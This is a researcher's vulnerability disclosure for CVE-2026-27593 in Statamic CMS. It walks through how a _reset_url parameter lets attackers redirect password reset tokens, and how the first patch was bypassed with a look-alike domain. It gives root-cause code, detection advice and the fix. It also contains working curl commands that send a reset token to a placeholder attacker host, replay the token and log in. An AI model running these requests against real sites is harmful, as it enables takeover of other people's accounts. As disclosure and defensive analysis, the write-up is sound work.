CVE-2026-27593: Statamic CMS Password Reset Link Injection to Account Takeover

TL;DR

• I found an unauthenticated password reset link injection in Statamic CMS, reached through a _reset_url parameter on the frontend POST /!/auth/password/email endpoint.
• Statamic accepted that parameter as the base URL for the reset link and never checked that it belonged to the site, so an attacker can point it at a server they control.
• The victim then receives a genuine reset email, sent from the real application, with a valid reset token appended to the attacker’s URL. One click leaks the token.
• The attacker replays the stolen token against Statamic’s own reset endpoint, sets a new password, and logs in. Any account works, including super administrators.
• Statamic shipped a first patch that validated the URL with Str::startsWith() and no path boundary. I bypassed it with a look-alike domain (example.com.evil.com), and the complete fix landed afterwards.
• Affects < 5.73.10 and >= 6.0.0-alpha.1, < 6.7.1 (CVE-2026-27593, GHSA-jxq9-79vj-rgvw), fully fixed in 5.73.10 and 6.7.1.

Summary

Statamic CMS trusted a request-supplied _reset_url value as the base of the password reset link without checking that it pointed at the application’s own domain, so an unauthenticated attacker could have a valid reset token delivered to a server they control and take over any account.

A single unauthenticated HTTP request is enough to send a victim a password reset email pointing at an attacker’s server. The email is legitimate in every way that matters to the recipient, it comes from the real application, carries the real branding, and passes the usual sender checks, so the only thing wrong with it is the hostname in the link. When the victim clicks, the valid reset token lands on the attacker’s listener, and account takeover follows.

Introduction

I was poking at Statamic’s frontend authentication scaffolding, the login, registration, and password reset flows that ship out of the box for member-facing sites. The password reset flow is always worth a close look, because the whole mechanism turns on a single secret (the reset token) only ever reaching the legitimate user. Anything that influences where that token is delivered is interesting.

Statamic exposes the reset request at POST /!/auth/password/email, and that endpoint accepts a _reset_url field. The intent is convenience: a developer can tell Statamic which page on their own site hosts the reset form. The problem is that Statamic took the value at face value. There was no check that the URL belonged to the application, so a request could name any host, and Statamic would happily build the reset link on top of it.

That is the entire bug. An unauthenticated parameter chooses the base URL, the real token is appended to it, and the email goes out from the real server. It is a cleaner variant of classic password reset poisoning, because there is no host header trickery to coax the application into reflecting, the parameter is honoured directly. This is a textbook instance of CWE-640: Weak Password Recovery Mechanism for Forgotten Password, where the recovery channel itself becomes the path to compromise.

Root Cause Analysis

The Reset URL Parameter

The entry point is sendResetLinkEmail() in src/Http/Controllers/ForgotPasswordController.php.

1
public function sendResetLinkEmail(Request $request)
2
{
3
    if ($url = $request->_reset_url) {                       // [1] attacker-controlled value read straight from the request
4
        PasswordReset::resetFormUrl(URL::makeAbsolute($url)); // [2] normalised, then stored as the reset base URL
5
    }
6
    return $this->traitSendResetLinkEmail($request);
7
}

The controller reads _reset_url directly from the request body at [1]. There is no authentication on this endpoint and no validation on the value. Whatever the attacker supplies is passed to URL::makeAbsolute() and then stored as the base URL for the reset link at [2]. The one function in this path that could reject a hostile URL is makeAbsolute(), so that is where the trust has to be enforced.

makeAbsolute Returns External URLs Unchanged

It is not enforced. makeAbsolute() in src/Facades/Endpoint/URL.php explicitly passes external absolute URLs straight through.

1
public function makeAbsolute(?string $url): string
2
{
3
    // If URL is external to this Statamic application, we'll just leave it as-is.
4
    if (self::isAbsolute($url) && self::isExternalToApplication($url)) {
5
        return $url;                                          // [3] external absolute URLs returned verbatim
6
    }
7
    // ...
8
}

The helper detects that a URL is external and, instead of rejecting it, returns it unchanged at [3]. The inline comment states the behaviour outright. So an https://evil.com/steal value sails through normalisation untouched and becomes the stored reset base URL.

Token Concatenation

The final piece is url() in src/Auth/Passwords/PasswordReset.php, which builds the link the victim actually receives.

1
public static function url($token, $broker)
2
{
3
    // ...
4
    $url = static::$url
5
        ? sprintf('%s?token=%s', static::$url, $token)        // [4] real token appended to the attacker-controlled base URL
6
        : $defaultUrl;
7
    // ...
8
}

At [4], the legitimate, valid reset token is concatenated onto the stored base URL with sprintf. Nothing in this chain ever asks whether static::$url is the application’s own domain. The result is a working reset link, signed with a real token, that points wherever the attacker said.

Putting the three together: the controller takes the URL at [1] and [2], makeAbsolute() waves external URLs through at [3], and url() glues the real token onto it at [4].

Exploitation

Preconditions

• A Statamic site with frontend user accounts and the password reset flow enabled (the default for member-facing sites).
• The attacker knows the email address of a target account. Super administrators are valid targets.
• The victim clicks the reset link in the email. Because the email is genuine and comes from the real site, this is a low bar.

The attacker never authenticates anywhere and never needs a Statamic account of their own.

Capturing the Token

The attacker only needs a listener to catch the token, for example python3 -m http.server 1234. TARGET, ATTACKER, and STOLEN_TOKEN are placeholders.

First, grab a CSRF token from the login page:

CSRF=$(curl -s -c cookies.txt 'http://TARGET/cp/auth/login' | \
  grep -oP '"csrfToken":"[^"]*"' | grep -oP ':"[^"]*"' | tr -d ':"')

Then send the poisoned reset request, naming the attacker’s server in _reset_url:

curl -s -D- -c cookies.txt -b cookies.txt \
  'http://TARGET/%21/auth/password/email' \
  -X POST -H "Content-Type: application/x-www-form-urlencoded" \
  -d "_token=${CSRF}&email=admin@test.local&_reset_url=http://ATTACKER:1234/steal-token"

# HTTP/1.1 302 Found  (email sent)

The victim receives a real reset email whose link carries a valid token on the attacker’s host:

1
http://ATTACKER:1234/steal-token?token=9a361f1045c4dbb53047a70fd176aaac5c0bdf06151b81b9130a841c7e467db8

The instant they click it, the token hits the attacker’s listener.

Account Takeover

With the token captured, the attacker drives Statamic’s own reset endpoint to set a new password:

CSRF=$(curl -s -c cookies2.txt 'http://TARGET/cp/auth/login' | \
  grep -oP '"csrfToken":"[^"]*"' | grep -oP ':"[^"]*"' | tr -d ':"')

curl -s -D- -c cookies2.txt -b cookies2.txt \
  'http://TARGET/%21/auth/password/reset' \
  -X POST -H "Content-Type: application/x-www-form-urlencoded" \
  -d "_token=${CSRF}&token=STOLEN_TOKEN&email=admin@test.local&password=pwned123&password_confirmation=pwned123"

# HTTP/1.1 302 Found  (password changed)

And logs in with it:

curl -s -X POST 'http://TARGET/cp/auth/login' \
  -H "Content-Type: application/json" \
  -H "X-CSRF-TOKEN: $CSRF" \
  -H "X-Requested-With: XMLHttpRequest" \
  -d '{"email":"admin@test.local","password":"pwned123"}'

# HTTP 200  "Authenticated"

I verified the full chain (token capture, password reset, control panel login) end to end against Statamic 6.3.1. Targeting the super administrator’s email gives complete control of the site.

Patch Diffing

Statamic’s maintainer was responsive and shipped validation quickly. The first fix added a check in sendResetLinkEmail() that compared the submitted URL against the site’s own configured URLs with Str::startsWith(), allowing it only if it began with a known site URL.

That check has a boundary problem. Str::startsWith() only compares a string prefix, it does not require the match to end at a / or at the end of the host. So any domain that merely begins with the site URL passes:

1
Site URL:     https://example.com
2
Attacker URL: https://example.com.evil.com/steal-token

Str::startsWith('https://example.com.evil.com/steal-token', 'https://example.com') returns true. The attacker registers example.com.evil.com, a domain they fully control, and the reset URL is treated as internal.

I applied the patch locally and confirmed the bypass end to end. A plain external domain was correctly rejected, but a prefix-matching subdomain slipped through and the reset email was sent with the token on the attacker’s host:

• http://evil.com was blocked (HTTP 422)
• http://localhost:8080.evil.com/steal-token passed validation (HTTP 200) and delivered the token to the attacker

The fix is to anchor the comparison at a path boundary by ensuring both URLs end with / before comparing:

1
$isExternal = Site::all()
2
    ->map(fn ($site) => Str::ensureRight($site->absoluteUrl(), '/'))
3
    ->filter(fn ($siteUrl) => Str::startsWith(Str::ensureRight($url, '/'), $siteUrl))
4
    ->isEmpty();

With the trailing slash enforced on both sides, https://example.com/ no longer matches https://example.com.evil.com/, because the attacker URL does not start with https://example.com/. The maintainer accepted both the original report and the bypass:

Both great additions. I’ve resolved them in PR #14023 (5.x) and PR #14016 (6.x). I’ll get releases and advisories out shortly.

The advisory records the outcome: the 5.x fix in 5.73.10 was sufficient, the original 6.x fix in 6.3.3 was not, and the 6.x line was fully resolved in 6.7.1.

Detection

If you suspect prior exploitation, the access logs are the place to look. Any POST /!/auth/password/email request whose form body includes a _reset_url value whose host does not belong to the site is suspicious by definition. On a stock Statamic install, no legitimate client should ever supply this parameter at all, so any non-empty _reset_url from an untrusted source is worth a closer look. Cross-reference with the mail queue or outbound mail logs to identify which reset emails went out with attacker-controlled base URLs.

Remediation

Disclosure Timeline

Conclusion

The root bug was a textbook one: a security-relevant URL came from the request, and nobody checked it belonged to the site before signing a real token onto it. What made the story more interesting was the patch. The first fix looked right, it compared against an allowlist of site URLs, but it compared with a bare prefix match, and example.com.evil.com starts with example.com. A prefix check is not a domain check. Both the original flaw and the bypass came down to the same missing thing: a boundary that was never enforced, first on the domain, then on the match.

References

• GitHub Security Advisory: GHSA-jxq9-79vj-rgvw
• NVD: CVE-2026-27593
• Statamic v5.73.10 release
• Statamic v6.3.3 release (interim 6.x fix)
• CWE-640: Weak Password Recovery Mechanism for Forgotten Password
• OWASP Forgot Password Cheat Sheet
• PortSwigger: Password Reset Poisoning